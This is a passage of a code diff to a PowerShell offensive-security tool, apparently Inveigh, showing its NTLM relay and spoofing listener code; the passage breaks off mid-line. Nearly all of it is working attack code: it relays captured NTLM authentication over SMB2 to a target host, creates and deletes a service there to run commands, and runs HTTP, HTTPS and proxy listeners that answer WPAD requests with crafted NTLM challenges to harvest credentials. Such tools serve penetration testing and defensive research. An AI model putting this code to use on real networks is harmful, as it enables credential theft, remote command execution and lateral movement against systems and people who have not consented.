$SMB_service_context_handle + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + } + else + { + $SMB2_message_ID += 1 + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + } + + 'CloseRequest' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed) + { + $inveigh.console_queue.Add("SMB relay failed on $Target") + $SMB_client_stage = 'Exit' + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + } + + } + + } + + if(!$SMB_relay_failed -and $RelayAutoDisable -eq 'Y') + { + $inveigh.console_queue.Add("SMB relay auto disabled due to success") + $inveigh.SMB_relay = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") } } - elseif(!$SMB_relay_failed -and $k -eq 11) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")]) - } - - $SMB_relay_execute_ReadAndRequest = 0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - $SMB_multiplex_ID + - 0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58, - 0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00 - - if($SMB_relay_failed) - { - $inveigh.console_queue.Add("SMB relay failed on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget")]) - BREAK SMB_relay_execute_loop - } - $k++ } - $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() + + return $SMB_client_receive } } -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener +# HTTP/HTTPS/Proxy Server ScriptBlock $HTTP_scriptblock = { - param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$WPADAuth) + param ($Challenge,$Command,$HTTPIP,$HTTPPort,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$Service,$SMB_version,$Target,$Usernames,$WPADAuth,$WPADAuthIgnore,$WPADResponse) function NTLMChallengeBase64 { + param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - if($Inveigh.challenge) + if($Challenge) { - $HTTP_challenge = $Inveigh.challenge - $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a + 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 $NTLM_challenge = $HTTP_challenge return $NTLM + } + + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + $relay_step = 0 + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + } } - - while ($inveigh.relay_running) + + :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $inveigh.message = '' - $NTLM = 'NTLM' + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") + $HTTP_header_cache_control = "" + $HTTP_header_authenticate = "" + $HTTP_header_authenticate_data = "" + $HTTP_message = "" + $HTTP_header_authorization = "" + $HTTP_header_host = "" + $HTTP_header_user_agent = "" + $HTTP_request_raw_URL = "" + $NTLM = "NTLM" - if($inveigh.request.IsSecureConnection) + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) { - $HTTP_type = "HTTPS" - } - else - { - $HTTP_type = "HTTP" - } - - if ($inveigh.request.RawUrl -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 - } + Start-Sleep -m 10 - $HTTP_request_time = Get-Date -format 's' - - if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $inveigh.request.RemoteEndpoint.Address -eq $HTTP_request_remote_endpoint_old) - { - $HTTP_raw_url_output = $false - } - else - { - $HTTP_raw_url_output = $true - } - - if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) - { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) - } - - $HTTP_request_raw_url_old = $inveigh.request.RawUrl - $HTTP_request_remote_endpoint_old = $inveigh.request.RemoteEndpoint.Address - $HTTP_request_time_old = $HTTP_request_time - - [String] $authentication_header = $inveigh.request.headers.getvalues('Authorization') - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if ($HTTP_request_bytes[8] -eq 1) + if(!$inveigh.relay_running) { - - if($inveigh.SMB_relay -and $inveigh.SMB_relay_active_step -eq 0 -and $inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget) - { - $inveigh.SMB_relay_active_step = 1 - $inveigh.console_queue.Add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.console_queue.Add("Grabbing challenge for relay from $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)]) - $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient - $SMB_relay_socket.Connect($SMBRelayTarget,"445") - - if(!$SMB_relay_socket.connected) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding")]) - $inveigh.SMB_relay_active_step = 0 - } - - if($inveigh.SMB_relay_active_step -eq 1) - { - $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes - $inveigh.SMB_relay_active_step = 2 - $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.Length] - $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) - $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" - $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 - $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes - $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] - $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes - $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] - $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + - $SMB_domain_length_offset_bytes + - 0x05,0x82,0x89,0xa2 + - $SMB_relay_NTLM_challenge + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $SMB_target_length_offset_bytes + - $SMB_relay_target_details - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge) - $inveigh.console_queue.Add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")]) - $inveigh.console_queue.Add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.SMB_relay_active_step = 3 - } - else - { - $NTLM = NTLMChallengeBase64 - } - - } - else - { - $NTLM = NTLMChallengeBase64 - } - - $inveigh.response.StatusCode = 401 + break HTTP_listener_loop } - elseif ($HTTP_request_bytes[8] -eq 3) + + } + + if($relay_step -gt 0) + { + $relay_reset++ + + if($relay_reset -gt 2) { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) + $inveigh.console_queue.Add("SMB relay attack resetting") + $SMB_relay_socket.Close() + $relay_step = 0 + + if($inveigh.file_output) { - $HTTP_NTLM_domain_string = '' + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay attack resetting") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay attack resetting") + } + + } + + } + else + { + $relay_reset = 0 + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 } else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + + if($HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_reset_delay = $true + $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout + $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } - if($HTTP_NTLM_length -eq 24) # NTLMv1 + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq 